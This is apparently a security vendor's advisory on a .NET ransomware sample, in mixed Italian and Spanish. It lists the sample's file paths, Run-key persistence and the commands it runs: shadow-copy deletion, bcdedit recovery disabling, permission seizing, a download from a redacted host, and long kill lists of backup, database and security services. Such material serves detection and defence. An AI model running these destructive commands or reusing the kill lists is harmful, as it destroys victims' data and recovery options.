Ransom.MSIL.TARGETCOMP.THHBBBB

Publish Date: 17 marzo 2023

Analizzato da: Kurt Paolo de Leon

UDS:Trojan-Downloader.MSIL.PsDownload.gen (KASPERSKY)

Piattaforma:

Windows

Valutazione del rischio complessivo:

Potenziale dannoso: :

Potenziale di distribuzione: :

Reported Infection:

Informazioni esposizione: :

Basso

Medio

Alto

Critico

Tipo di minaccia informatica:
Ransomware
Distruttivo?:
No
Crittografato?:
In the wild::
Sì

Panoramica e descrizione

Canale infezione: Eliminado por otro tipo de malware

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Elimina archivos para impedir la ejecución correcta de programas y aplicaciones.

Dettagli tecnici

Dimensione file: 9216 bytes

Tipo di file: EXE

Residente in memoria: Sì

Data di ricezione campioni iniziali: 17 gennaio 2023

Carica distruttiva: Deletes files, Drops files, Modifies system registry, Terminates processes, Connects to URLs/IPs,, Disables services

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Crea las siguientes copias de sí mismo en el sistema afectado:

%Application Data%\Syfwfpwux\Lcudsgjlb.exe

(Nota: %Application Data% es la carpeta Application Data del usuario activo, que en el caso de Windows 98 y ME suele estar ubicada en C:\Windows\Profiles\{nombre de usuario}\Application Data, en el caso de Windows NT en C:\WINNT\Profiles\{nombre de usuario}\Application Data, en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) en C:\Documents and Settings\{nombre de usuario}\Local Settings\Application Data y en el caso de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Roaming.).

)

Infiltra y ejecuta los archivos siguientes:

%User Temp%\Logrpaqfriixribkill$.bat

(Nota: %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).

)

Agrega los procesos siguientes:

start https://{BLOCKED}er.org/1NRk35
takeown /f %SystemRoot%\system32\cmd.exe /a
"%System32%\WindowsPowerShell\v1.0\powershell.exe" -Start -Sleep -Seconds 20
cmd /c ""%Temp%\Logrpaqfriixribkill$.bat" "
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor" /v "AutoRun" /f
"%Program Files%\Internet Explorer\iexplore.exe" -nohome
"%Program Files%\Internet Explorer\iexplore.exe" SCODEF:3332 CREDAT:71937
%Windows%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"%System32%\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
"%System32%\cmd.exe" /c bcdedit /set {current} recoveryenabled no
\sysnative\vssadmin.exe delete shadows /all /quiet
tasklist /fi "imagename eq {String}
- where String:
takeown /f %ProgramData%\ /a
takeown /f %Public User%\ /a
takeown /f %Windows%\SysWOW64\{String} /a
takeown /f %System32%\{String} /a
- where {String}:
cacls {String} /g Administrators:f
cacls {String} /e /g Users:r
cacls {String} /e /g Administrators:r
cacls {String} /e /d SERVICE
cacls {String} /e /d mssqlserver
cacls {String} /e /d "network service"
cacls {String} /e /d system
cacls {String} /e /d mssql$sqlexpress
- where {String}:
cacls %System32%\{String} /g Administrators:f
cacls %System32%\{String} /e /g Users:r
cacls %System32%\{String} /e /g Administrators:r
cacls %System32%\{String} /e /d SERVICE
cacls %System32%\{String} /e /d mssqlserver
cacls %System32%\{String} /e /d "network service"
cacls %System32%\{String} /e /g system:r
cacls %System32%\{String} /e /d mssql$sqlexpress
- where {String}:
cacls %Windows%\SysWOW64\{String} /g Administrators:f
cacls %Windows%\SysWOW64\{String} /e /g Users:r
cacls %Windows%\SysWOW64\{String} /e /g Administrators:r
cacls %Windows%\SysWOW64\{String} /e /d SERVICE
cacls %Windows%\SysWOW64\{String} /e /d mssqlserver
cacls %Windows%\SysWOW64\{String} /e /d "network service"
cacls %Windows%\SysWOW64\{String} /e /g system:r
cacls %Windows%\SysWOW64\{String} /e /d mssql$sqlexpress
- where {String}:
net stop {Stopped Services 1}
%System32%\net1 stop {Stopped Services 2}
sc delete {Services Deleted}
taskkill /f /im {Stopped Process 1}
taskkill /IM {Stopped Process 2} /F
taskkill -f -im {Stopped Process 3}
taskkill /IM {Stopped Process 4} /F

Crea las carpetas siguientes:

%Application Data%\Syfwfpwux

)

Este malware se inyecta en los siguientes procesos que se ejecutan en la memoria:

%Windows%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

(Nota: %Windows% es la carpeta de Windows, que suele estar en C:\Windows o C:\WINNT).

)

Técnica de inicio automático

Agrega las siguientes entradas de registro para permitir su ejecución automática cada vez que se inicia el sistema:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
Lcudsgjlb = %Application Data%\Syfwfpwux\Lcudsgjlb.exe

Otras modificaciones del sistema

Elimina los archivos siguientes:

%User Temp%\Logrpaqfriixribkill$.bat

)

Elimina las siguientes claves de registro:

SOFTWARE\Raccine

SYSTEM\CurrentControlSet\Services\
EventLog\Application\Raccine

SOFTWARE\Microsoft\Windows NT\
CurrentVersion\Image File Execution Options\vssadmin.exe

SOFTWARE\Microsoft\Windows NT\
CurrentVersion\Image File Execution Options\wmic.exe

SOFTWARE\Microsoft\Windows NT\
CurrentVersion\Image File Execution Options\wbadmin.exe

SOFTWARE\Microsoft\Windows NT\
CurrentVersion\Image File Execution Options\bcdedit.exe

SOFTWARE\Microsoft\Windows NT\
CurrentVersion\Image File Execution Options\powershell.exe

SOFTWARE\Microsoft\Windows NT\
CurrentVersion\Image File Execution Options\diskshadow.exe

SOFTWARE\Microsoft\Windows NT\
CurrentVersion\Image File Execution Options\net.exe

SOFTWARE\Microsoft\Windows NT\
CurrentVersion\Image File Execution Options\taskkill.exe

Finalización del proceso

Finaliza los servicios siguientes si los detecta en el sistema afectado:

where {Stopped Services 1}:
- U8WorkerService1
- U8WorkerService2
- "memcached Server"
- Apache2.4
- UFIDAWebService
- MSComplianceAudit
- MSExchangeADTopology
- MSExchangeAntispamUpdate
- MSExchangeCompliance
- MSExchangeDagMgmt
- MSExchangeDelivery
- MSExchangeDiagnostics
- MSExchangeEdgeSync
- MSExchangeFastSearch
- MSExchangeFrontEndTransport
- MSExchangeHM
- MSSQL$SQL2008
- MSExchangeHMRecovery
- MSExchangeImap4
- MSExchangeIMAP4BE
- MSExchangeIS
- MSExchangeMailboxAssistants
- MSExchangeMailboxReplication
- MSExchangeNotificationsBroker
- MSExchangePop3
- MSExchangePOP3BE
- MSExchangeRepl
- MSExchangeRPC
- MSExchangeServiceHost
- MSExchangeSubmission
- MSExchangeThrottling
- MSExchangeTransport
- MSExchangeTransportLogSearch
- MSExchangeUM
- MSExchangeUMCR
- MySQL5_OA
- HaoZipSvc
- Realtek11nSU
- xenlite
- XenSvc
- Apache2.2
- "Synology Drive VSS Service x64"
- DellDRLogSvc
- FirebirdGuardianDeafaultInstance
- JWEM3DBAUTORun
- JWRinfoClientService
- JWService
- Service2
- RapidRecoveryAgent
- FirebirdServerDefaultInstance
- AdobeARMservice
- VeeamCatalogSvc
- VeeanBackupSvc
- VeeamTransportSvc
- TPlusStdAppService1300
- TPlusStdTaskService1300
- TPlusStdUpgradeService1300
- TPlusStdWebService1300
- VeeamNFSSvc
- VeeamDeploySvc
- VeeamCloudSvc
- VeeamMountSvc
- VeeamBrokerSvc
- VeeamDistributionSvc
- tmlisten
- ServiceMid
- 360EntPGSvc
- ClickToRunSvc
- RavTask
- AngelOfDeath
- d_safe
- NFLicenceServer
- "NetVault Process Manager"
- RavService
- DFServ
- IngressMgr
- EvtSys
- K3ClouManager
- NFVPrintServer
- RTCAVMCU
- CobianBackup10
- GNWebService
- Mysoft.SchedulingService
- AgentX
- SentinelKeysServer
- DGPNPSEV
- TurboCRM70
- NFSysService
- U8DispatchService
- NFOTPService
- U8EISService
- U8EncryptService
- U8GCService
- U8KeyManagePool
- U8MPool
- U8SCMPool
- U8SLReportService
- U8TaskService
- U8WebPool
- UFAllNet
- UFReportService
- UTUService"
- UIODetect
- VMwareHostd
- TeamViewer8
- VMUSBArbService
- VMAuthdService
- wanxiao-monitor
- WebAttendServer
- mysqltransport
- VMnetDHCP
- "VMware NAT Service"
- Tomcat8
- TeamViewer
- QPCore
- CASLicenceServer
- CASWebServer
- AutoUpdateService
- "Alibaba Security Aegis Detect Service"
- "Alibaba Security Aegis Update Service"
- "AliyunService"
- CASXMLService
- AGSService
- RapService
- DDNSService
- iNethinkSQLBackupSvc
- CASVirtualDiskService
- CASMsgSrv
- "OracleOraDb10g_homeliSQL*Plus"
- OracleDBConsoleilas
- MySQL
- TPlusStdAppService1220
- TPlusStdTaskService1220
- TPlusStdUpgradeService1220
- K3MobileServiceManage
- "FileZilla Server"
- DDVRulesProcessor
- ImtsEventSvr
- AutoUpdatePatchService
- OMAILREPORT
- "Dell Hardware Support"
- SupportAssistAgent
- K3MMainSuspendService
- KpService
- ceng_web_svc_d
- KugouService
- pcas
- U8SendMailAdmin
- "Bonjour Service"
- "Apple Mobile Device Service"
- "ABBYY.Licensing.FineReader.Professional.12.0""
- MSSQLServerADHelper100
- MSSQL$ISARS
- MSSQL$MSFW
- SQLAgent$ISARS
- SQLAgent$MSFW
- SQLBrowser
- ReportServer$ISARS
- SQLWriter
- WinDefend
- mr2kserv
- MSExchange
- ShadowProtectSvc
- SPAdminV4
- SPTimerV4
- SPTraceV4
- SPUserCodeV4
- SPWriterV4
- SPSearch4
- MSSQLServerADHelper100
- IISADMIN
- firebirdguardiandefaultinstance
- ibmiasrw
- QBCFMonitorService
- QBVSS
- QBPOSDBServiceV12
- "IBM Domino Server (CProgramFilesIBMDominodata)"
- "IBM Domino Diagnostics (CProgramFilesIBMDomino)"
- IISADMIN
- "Simply Accounting Database Connection Manager"
- QuickBooksDB1
- QuickBooksDB2
- QuickBooksDB3
- QuickBooksDB4
- QuickBooksDB5
where {Stopped Services 2}:
- U8WorkerService1
- U8WorkerService2
- UIODetect
- HaoZipSvc
- "memcached Server"
- VMwareHostd
- Apache2.4
- UFIDAWebService
- "igfxCUIService2.0.0.0"
- MSComplianceAudit
- MSExchangeADTopology
- MSExchangeAntispamUpdate
- TeamViewer8
- Realtek11nSU
- VMUSBArbService
- MSExchangeCompliance
- xenlite
- VMAuthdService
- XenSvc
- wanxiao-monitor
- WebAttendServer
- MSExchangeDagMgmt
- Apache2.2
- mysqltransport
- MSExchangeDelivery
- VMnetDHCP
- MSExchangeDiagnostics
- "Synology Drive VSS Service x64"
- "VMware NAT Service"
- MSExchangeEdgeSynca
- DellDRLogSvc
- FirebirdGuardianDeafaultInstance
- Tomcat8
- MSExchangeFastSearch
- JWEM3DBAUTORun
- JWRinfoClientService
- MSExchangeFrontEndTransport
- TeamViewer
- MSExchangeHM
- QPCore
- JWService
- CASLicenceServer
- MSSQL$SQL2008
- Service2
- CASWebServer
- MSExchangeHMRecovery
- RapidRecoveryAgent
- AutoUpdateService
- MSExchangeImap4
- FirebirdServerDefaultInstance
- MSExchangeIMAP4BE
- "Alibaba Security Aegis Detect Service"
- AdobeARMservice
- MSExchangeIS
- VeeamCatalogSvc
- "Alibaba Security Aegis Update Service"
- MSExchangeMailboxAssistants
- VeeanBackupSvc
- "AliyunService"
- VeeamTransportSvc
- CASXMLService
- MSExchangeMailboxReplication
- MSExchangeNotificationsBroker
- AGSService
- TPlusStdAppService1300
- RapService
- DDNSService
- MSExchangePop3
- iNethinkSQLBackupSvc
- TPlusStdTaskService1300
- MSExchangePOP3BE
- CASVirtualDiskService
- TPlusStdUpgradeService1300
- MSExchangeRepl
- MSExchangeRPC
- CASMsgSrv
- TPlusStdWebService1300
- "OracleOraDb10g_homeliSQL*Plus"
- VeeamNFSSvc
- MSExchangeServiceHost
- OracleDBConsoleilas
- VeeamDeploySvc
- MSExchangeSubmission
- VeeamCloudSvc
- MySQL
- MSExchangeThrottling
- TPlusStdAppService1220
- VeeamMountSvc
- MSExchangeTransport
- MSExchangeTransportLogSearch
- VeeamBrokerSvc
- TPlusStdTaskService1220
- MSExchangeUM
- VeeamDistributionSvc
- TPlusStdUpgradeService1220
- MSExchangeUMCR
- tmlisten
- MySQL5_OA
- K3MobileServiceManage
- ServiceMid
- "FileZilla Server"
- 360EntPGSvc
- DDVRulesProcessor
- ClickToRunSvc
- ImtsEventSvr
- AutoUpdatePatchService
- RavTask
- OMAILREPORT
- AngelOfDeath
- "Dell Hardware Support"
- d_safe
- SupportAssistAgent
- K3MMainSuspendService
- NFLicenceServer
- "NetVault Process Manager"
- KpService
- RavService
- ceng_web_svc_d
- KugouService
- DFServ
- IngressMgr
- pcas
- U8SendMailAdmin
- EvtSys
- "Bonjour Service"
- K3ClouManager
- "Apple Mobile Device Service"
- NFVPrintServer
- "ABBYY.Licensing.FineReader.Professional.12.0"
- RTCAVMCU
- CobianBackup10
- GNWebService
- Mysoft.SchedulingService
- AgentX
- SentinelKeysServer
- DGPNPSEV
- TurboCRM70
- NFSysService
- U8DispatchService
- NFOTPService
- U8EISService
- U8EncryptService
- U8GCService
- U8KeyManagePool
- U8MPool
- U8SCMPool
- U8SLReportService
- U8TaskService
- U8WebPool
- UFAllNet
- UFReportService
- UTUService

Finaliza los procesos siguientes si detecta que se ejecutan en la memoria del sistema afectado:

where {Stopped Process 1}:
- db*
- apache*
- mysql*
- Notifier*
- IBM*
- copy*
- store*
- sql*
- vee*
- wrsa*
- postg*
- sage*
- msdt*
- ora*
- microsoft*
- backup*
- http*
- office*
- cube*
- team*
- b1*
- sbo*
- reporting*
- sav*
- fd*
where {Stopped Process 2}:
- sqlservr.exe
- httpd.exe
- java.exe
- fdhost.exe
- fdlauncher.exe
- reportingservicesservice.exe
- softmgrlite.exe
- sqlbrowser.exe
- ssms.exe
- vmtoolsd.exe
- baidunetdisk.exe
- yundetectservice.exe
- ssclient.exe
- GNAupdaemon.exe
- RAVCp164.exe
- igfxEM.exe
- igfxHK.exe
- igfxTray.exe
- 360bdoctor.exe
- GNCEFExternal.exe
- PrivacyIconClient.exe
- UIODetect.exe
- AutoDealService.exe
- IDDAService.exe
- EnergyDataService.exe
- MPService.exe
- TransMain.exe
- DAService.exe
- GoogleCrashHandler.exe
- GoogleCrashHandler64.exe
- GoogleUpdate.exe
- cohernece.exe
- vmware-tray.exe
- MsDtsSrvr.exe
- msmdsrv.exe
- "FileZilla server.exe"
- UpdateData.exe
- WebApi.Host.exe
- VGAuthService.exe
- omtsreco.exe
- TNSLSNR.exe
- oracle.exe
- msdtc.exe
- mmc.exe
- emagent.exe
- Admin.exe
- EnterprisePortal.exe
- tomcat7.exe
- Kingdee.K3.CRM.MMC.MMCService.exe
- Kingdee.k3.Weixin.ClientService.exe
- Kingdee.K3.PUBLIC.BkgSvcHost.exe
- Kingdee.K3.HR.Server.exe
- Kingdee.K3.PUBLIC.KDSvrMgrHost.exe
- tomcat5.exe
- Kingdee.DeskTool.exe
- UserClient.exe
- mysqld.exe
- ImtsEventSvr.exe
- mysqld-nt.exe
- 360EnterpriseDiskUI.exe
- tomcat8.exe
- QQprotect.exe
- isqlplussvc.exe
- nmesrvc.exe
- jusched.exe
- MtxHotPlugService.exe
- jucheck.exe
- wordpad.exe
- SecureCRT.exe
- chrome.exe
- Thunder.exe"
- ThunderPlatform.exe
- iexplore.exe
- vm-agent.exe
- vm-agent-daemon.exe
- eSightService.exe
- cygrunsrv.exe
- wrapper.exe
- nginx.exe
- node.exe
- sshd.exe
- vm-tray.exe
- iempwatchdog.exe
- sqlwriter.exe
- php.exe
- "notepad++.exe"
- "phpStudy.exe"
- OPCClient.exe
- navicat.exe
- SupportAssistAgent.exe
- SunloginClient.exe
- SOUNDMAN.exe
- WeChat.exe
- TXPlatform.exe
- Tencentdll.exe
- jenkins.exe
- QQ.exe
- HaoZip.exe
- HaoZipScan.exe
- TSVNCache.exe
- RAVCpl64.exe
- secbizsrv.exe
- aliwssv.exe
- Helper_Haozip.exe
- acrotray.exe
- "FileZilla Server Interface.exe"
- YoudaoNote.exe
- YNoteCefRender.exe
- idea.exe
- fsnotifier.exe
- picpick.exe
- lantern.exe
- sysproxy-
- service.exe
- pcas.exe
- PresentationFontCache.exe
- RtWlan.exe
- monitor.exe
- Correspond.exe
- ChatServer.exe
- InetMgr.exe
- LogonServer.exe
- GameServer.exe
- ServUAdmin.exe
- ServUDaemon.exe
- update0.exe
- server.exe
- w3wp.exe
- notepad.exe
- PalmInputService.exe
- PalmInputGuard.exe
- UpdateServer.exe
- UpdateGate.exe
- DBServer.exe
- LoginGate.exe
- SelGate.exe
- RunGate.exe
- M2Server.exe
- LogDataServer.exe
- LoginSrv.exe
- sqlceip.exe
- mqsvc.exe
- RefundOrder.exe
- ClamTray.exe
- AdobeARM.exe
- veeam.backup.shell.exe
- VpxClient.exe
- vmware-vmrc.exe
- DSCPatchService.exe
- scktsrvr.exe
- ServerManager.exe
- Dispatcher.exe
- EFDispatcher.exe
- ClamWin.exe
- srvany.exe
- JT_AG-8332.exe
- XXTClient.exe
- clean.exe
- "Net.Service.exe"
- plsqldev.exe
- splwow64.exe
- Oobe.exe
- QQYService.exe
- SGTool.exe
- postgres.exe
- AppVShNotify.exe
- OfficeClickToRun.exe
- EntDT.exe
- EntPublish.exe"
- pg_ctl.exe
- rcrelay.exe
- SogouImeBroker.exe
- CCenter.exe
- ScanFrm.exe
- d_manage.exe
- RsTray.exe
- wampmanager.exe
- RavTray.exe
- mssearch.exe
- sqlmangr.exe
- msftesql.exe
- SyncBaseSvr.exe
- oracle.exe
- TNSLSNR.exe
- SyncBaseConsole.exe
- aspnet_state.exe
- AutoBackUpEx.exe
- redis-server.exe
- MySQLNotifier.exe
- oravssw.exe
- fppdis5.exe
- His6Service.exe
- dinotify.exe
- JhTask.exe
- Executer.exe
- AllPassCBHost.exe
- ap_nginx.exe
- AndroidServer.exe
- XT.exe
- XTService.exe
- AllPassMCService.exe
- IMEDICTUPDATE.exe
- FlashHelperService.exe
- ap_redis-server.exe
- UtilDev.WebServer.Monitor.exe
- UWS.AppHost.Clr2.x86.exe
- FoxitProtect.exe
- ftnlses.exe
- ftusbrdwks.exe
- ftusbrdsrv.exe
- ftnlsv.exe
- Syslogd_Service.exe
- UWS.HighPrivilegeUtilities.exe
- ftusbsrv.exe
- UWS.LowPrivilegeUtilities.exe
- UWS.AppHost.Clr2.AnyCpu.exe
- winguard_x64.exe
- vmconnect.exe
- UWS.AppHost.Clr2.x86.exe
- firefox.exe
- usbrdsrv.exe
- usbserver.exe
- Foxmail.exe
- qemu-ga.exe
- wwbizsrv.exe
- ZTEFileTranS.exe
- ZTEUsbIpc.exe
- ZTEUsbIpcGuard.exe
- AlibabaProtect.exe
- kbasesrv.exe
- ZTEVdservice.exe
- MMRHookService.exe
- extjob.exe
- IpOverUsbSvc.exe
- VMwareTray.exe
- devenv.exe
- PerfWatson2.exe
- ServiceHub.Host.Node.x86.exe
- ServiceHub.IdentityHost.exe
- ServiceHub.VSDetouredHost.exe
- ServiceHub.SettingsHost.exe
- ServiceHub.Host.CLR.x86.exe
- ServiceHub.RoslynCodeAnalysisService32.exe
- ServiceHub.DataWarehouseHost.exe
- Microsoft.VisualStudio.Web.Host.exe
- SQLEXPRWT.exe
- setup.exe
- remote.exe
- setup100.exe
- landingpage.exe
- WINWORD.exe
- KuaiYun.exe
- HwsHostPanel.exe
- NovelSpider.exe
- Service_KMS.exe
- WebServer.exe
- ChsIME.exe
- btPanel.exe
- Protect_2345Explorer.exe
- Pic_2345Svc.exe
- vmware-converter-a.exe
- vmware-converter.exe
- vmware.exe
- vmware-unity-helper.exe
- vmware-vmx.exe
- vmware-vmx.exe
- usysdiag.exe
- PopBlock.exe
- gsinterface.exe
- Gemstar.Group.CRS.Client.exe
- TenpayServer.exe
- RemoteExecService.exe
- VS_TrueCorsManager.exe
- ntpsvr-2019-01-22-wgs84.exe
- rtkjob-ion.exe
- ntpsvr-2019-01-22-no-usrcheck.exe
- NtripCaster-2019-01-08.exe
- BACSTray.exe
- protect.exe
- hfs.exe
- jzmis.exe
- NewFileTime_x64.exe
- 2345MiniPage.exe
- JMJ_server.exe
- cacls.exe
- gpsdaemon.exe
- gpsusersvr.exe
- gpsdownsvr.exe
- gpsstoragesvr.exe
- gpsdataprocsvr.exe
- gpsftpd.exe
- gpsmysqld.exe
- gpstomcat6.exe
- gpsloginsvr.exe
- gpsmediasvr.exe
- gpsgatewaysvr.exe
- gpssvrctrl.exe
- zabbix_agentd.exe"
- BackupExec.exe
- Att.exe
- mdm.exe
- BackupExecManagementService.exe
- bengine.exe
- benetns.exe
- beserver.exe
- pvlsvr.exe
- bedbg.exe
- beremote.exe
- beremote.exe
- beremote.exe
- beremote.exe
- RemoteAssistProcess.exe
- BarMoniService.exe
- GoodGameSrv.exe
- BarCMService.exe
- TsService.exe
- GoodGame.exe
- BarServerView.exe
- IcafeServicesTray.exe
- BsAgent_0.exe
- ControlServer.exe
- DisklessServer.exe
- DumpServer.exe
- NetDiskServer.exe
- PersonUDisk.exe
- service_agent.exe
- SoftMemory.exe
- BarServer.exe
- RtkNGUI64.exe
- Serv-U-Tray.exe
- QQPCSoftTrayTips.exe
- SohuNews.exe
- Serv-U.exe
- QQPCRTP.exe
- EasyFZS.exe
- HaoYiShi.exe
- HysMySQL.exe
- wtautoreg.exe
- ispiritPro.exe
- CAService.exe
- XAssistant.exe
- TrustCA.exe
- GEUU20003.exe
- CertMgr.exe
- eSafe_monitor.exe
- MainExecute.exe
- FastInvoice.exe
- sesvc.exe
- ScanFileServer.exe
- Nuoadehgcgcd.exe
- OpenFastAssist.exe
- FastInvoiceAssist.exe
- Nuoadfaggcje.exe
- OfficeUpdate.exe
- atkexComSvc.exe
- FileTransferAgent.exe
- MasterReplicatorAgent.exe
- CrmAsyncService.exe
- CrmAsyncService.exe
- CrmUnzipService.exe
- NscAuthService.exe
- ReplicaReplicatorAgent.exe
- ASMCUSvc.exe
- OcsAppServerHost.exe
- RtcCdr.exe
- IMMCUSvc.exe
- DataMCUSvc.exe
- MeetingMCUSvc.exe
- QmsSvc.exe
- RTCSrv.exe
- pnopagw.exe
- NscAuth.exe
- Microsoft.ActiveDirectory.WebServices.exe
- DistributedCacheService.exe
- c2wtshost.exe
- Microsoft.Office.Project.Server.Calculation.exe
- schedengine.exe
- Microsoft.Office.Project.Server.Eventing.exe
- Microsoft.Office.Project.Server.Queuing.exe
- WSSADMIN.EXE
- hostcontrollerservice.exe
- noderunner.exe
- OWSTIMER.EXE
- wsstracing.exe
- mssearch.exe
- MySQLInstallerConsole.exe
- EXCEL.EXE
- consent.exe
- RtkAudioService64.exe
- RAVBg64.exe
- FNPLicensingService64.exe
- VisualSVNServer.exe
- MotionBoard57.exe
- MotionBoardRCService57.exe
- LPManService.exe
- RaRegistry.exe
- RaAutoInstSrv.exe
- RtHDVCpl.exe
- DefenderDaemon.exe
- BestSyncApp.exe
- ApUI.exe
- AutoUpdate.exe
- LPManNotifier.exe
- FieldAnalyst.exe
- TimingGenerate.exe
- Detector.exe
- Estimator.exe
- FA_Logwriter.exe
- TrackingSrv.exe
- cbInterface.exe
- ccbService.exe
- dbsrv16.exe
- KICManager.exe
- KICMain.exe
- ServerManagerLauncher.exe
- TbossGate.exe
- iusb3mon.exe
- MgrEnvSvc.exe
- Mysoft.Config.WindowsService.exe
- Mysoft.UpgradeService.UpdateService.exe
- hasplms.exe
- Mysoft.Setup.InstallService.exe
- Mysoft.UpgradeService.Dispatcher.exe
- Mysoft.DataCenterService.WindowsHost.exe
- Mysoft.DataCenterService.DataCleaning.exe
- Mysoft.DataCenterService.DataTracking.exe
- Mysoft.SchedulingService.WindowsHost.exe
- ServiceMonitor.exe
- Mysoft.SchedulingService.ExecuteEngine.exe
- AgentX.exe
- host.exe
- AutoUpdate.exe
- vsjitdebugger.exe"
- VBoxSDS.exe
- TeamViewer_Service.exe
- TeamViewer.exe
- CasLicenceServer.exe
- tv_w32.exe
- tv_x64.exe
- rdm.exe
- SecureCRTPortable.exe
- VirtualBox.exe
- VBoxSVC.exe
- VirtualBoxVM.exe
- abs_deployer.exe
- edr_monitor.exe
- sfupdatemgr.exe
- ipc_proxy.exe
- edr_agent.exe
- edr_sec_plan.exe
- sfavsvc.exe
- DataShareBox.ShareBoxMonitorService.exe
- DataShareBox.ShareBoxService.exe
- Jointsky.CloudExchangeService.exe
- Jointsky.CloudExchange.NodeService.ein
- perl.exe
- TsServer.exe
- AppMain.exe
- easservice.exe
- Kingdee6.1.exe
- QyKernel.exe
- QyFragment.exe
- ComputerZTray.exe
- ComputerZService.exe
- ClearCache.exe
- ProLiantMonitor.exe
- ChsIME.exe
- bugreport.exe
- GNWebServer.exe
- UI0Detect.exe
- GNCore.exe
- gnwayDDNS.exe
- GNWebHelper.exe
- php-cgi.exe
- ESLUSBService.exe
- CQA.exe
- Kekcoek.pif
- Tinuknx.exe
- servers.exe
- ping.exe
- TianHeng.exe
- K3MobileService.exe
- VSSVC.exe
- Xshell.exe
- XshellCore.exe
- FNPLicensingService.exe
- XYNTService.exe
- U8DispatchService.exe
- EISService.exe
- UFSoft.U8.Framework.EncryptManager.exe
- yonyou.u8.gc.taskmanager.servicebus.exe
- U8KeyManagePool.exe
- U8MPool.exe
- U8SCMPool.exe
- UFIDA.U8.Report.SLReportService.exe
- U8TaskService.exe
- U8TaskWorker.exe
- U8WebPool.exe
- U8AllAuthServer.exe
- UFIDA.U8.UAP.ReportService.exe
- UFIDA.U8.ECE.UTU.Services.exe
- U8WorkerService.exe
- UFIDA.U8.ECE.UTU.exe
- ShellStub.exe
- U8UpLoadTask.exe
- UfSysHostingService.exe
- UFIDA.UBF.SystemManage.ApplicationService.exe
- UFIDA.U9.CS.Collaboration.MailService.exe
- NotificationService.exe
- UBFdevenv.exe
- UFIDA.U9.SystemManage.SystemManagerClient.exe
- mongod.exe
- SpusCss.exe
- UUDesktop.exe
- KDHRServices.exe
- Kingdee.K3.Mobile.Servics.exe
- KDSvrMgrService.exe
- pdfServer.exe
- pdfspeedup.exe
- SufAppServer.exe
- Kingdee.K3.Mobile.LightPushService.exe
- iMTSSvcMgr.exe
- kdmain.exe
- KDActMGr.exe
- K3ServiceUpdater.exe
- Aua.exe
- iNethinkSQLBackup.exe
- auaJW.exe
- Scheduler.exe
- bschJW.exe
- SystemTray64.exe
- OfficeDaemon.exe
- OfficeIndex.exe
- OfficeIm.exe
- iNethinkSQLBackupConsole.exe
- OfficeMail.exe
- OfficeTask.exe
- OfficePOP3.exe
- apache.exe
- GnHostService.exe → Terminates the specified process and any child processes which were started by it.
- HwUVPUpgrade.exe → Terminates the specified process and any child processes which were started by it.
- "Kingdee.KIS.UESystemSer.exe" → Terminates the specified process and any child processes which were started by it.
- uvpmonitor.exe → Terminates the specified process and any child processes which were started by it.
- UVPUpgradeService.exe → Terminates the specified process and any child processes which were started by it.
- KDdataUpdate.exe → Terminates the specified process and any child processes which were started by it.
- Portal.exe → Terminates the specified process and any child processes which were started by it.
- U8SMSSrv.exe → Terminates the specified process and any child processes which were started by it.
- "Ufida.T.SM.PublishService.exe" → Terminates the specified process and any child processes which were started by it.
- lta8.exe → Terminates the specified process and any child processes which were started by it.
- UfSvrMgr.exe → Terminates the specified process and any child processes which were started by it.
- AutoUpdateService.exe → Terminates the specified process and any child processes which were started by it.
- MOM.exe → Terminates the specified process and any child processes which were started by it."
where {Stopped Process 3}:
- PccNTMon.exe
- NTRtScan.exe
- TmListen.exe
- TmCCSF.exe
- TmProxy.exe
- TMBMSRV.exe
- TmPfw.exe
- CNTAoSMgr.exe
- sqlbrowser.exe
- sqlwriter.exe
- sqlservr.exe
- msmdsrv.exe
- MsDtsSrvr.exe
- sqlceip.exe
- fdlauncher.exe
- Ssms.exe
- SQLAGENT.EXE
- fdhost.exe
- fdlauncher.exe
- ReportingServicesService.exe
- msftesql.exe
- pg_ctl.exe
- postgres.exe
- UniFi.exe
where {Stopped Process 4}:
- ThunderPlatform.exe
- pg_ctl.exe
- sqlservr.exe
- BackupExec.exe
- VBoxSDS.exe
- iexplore.exe
- Att.exe
- rcrelay.exe
- httpd.exe
- mdm.exe
- vm-agent.exe
- vm-agent-daemon.exe
- SogouImeBroker.exe
- mysqld.exe
- BackupExecManagementService.exe
- eSightService.exe
- TeamViewer_Service.exe
- java.exe
- CCenter.exe
- bengine.exe
- fdhost.exe
- cygrunsrv.exe
- TeamViewer.exe
- ScanFrm.exe
- benetns.exe
- wrapper.exe
- d_manage.exe
- fdlauncher.exe
- CasLicenceServer.exe
- nginx.exe
- beserver.exe
- reportingservicesservice.exe
- tv_w32.exe
- RsTray.exe
- pvlsvr.exe
- wampmanager.exe
- softmgrlite.exe
- node.exe
- tv_x64.exe
- bedbg.exe
- rdm.exe
- RavTray.exe
- sqlbrowser.exe
- beremote.exe
- SecureCRT.exe

Otros detalles

Hace lo siguiente:

It encrypts files from local drives, removable drives, and network shares
It connects to the following website to download and execute malicious module in memory to perform its malicious routine:
- http://{BLOCKED}.{BLOCKED}.{BLOCKED}.25/arx-Slkmrtswx_Vttmygcq.bmp
It deletes the following services:
- Where {Services Deleted}:

Soluzioni

Motore di scansione minimo: 9.800

Primo file di pattern VSAPI: 18.320.03

Data di pubblicazione del primo pattern VSAPI: 17 marzo 2023

Versione pattern VSAPI OPR: 18.321.00

Data di pubblicazione del pattern VSAPI OPR: 18 marzo 2023

Step 1

Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.

Step 2

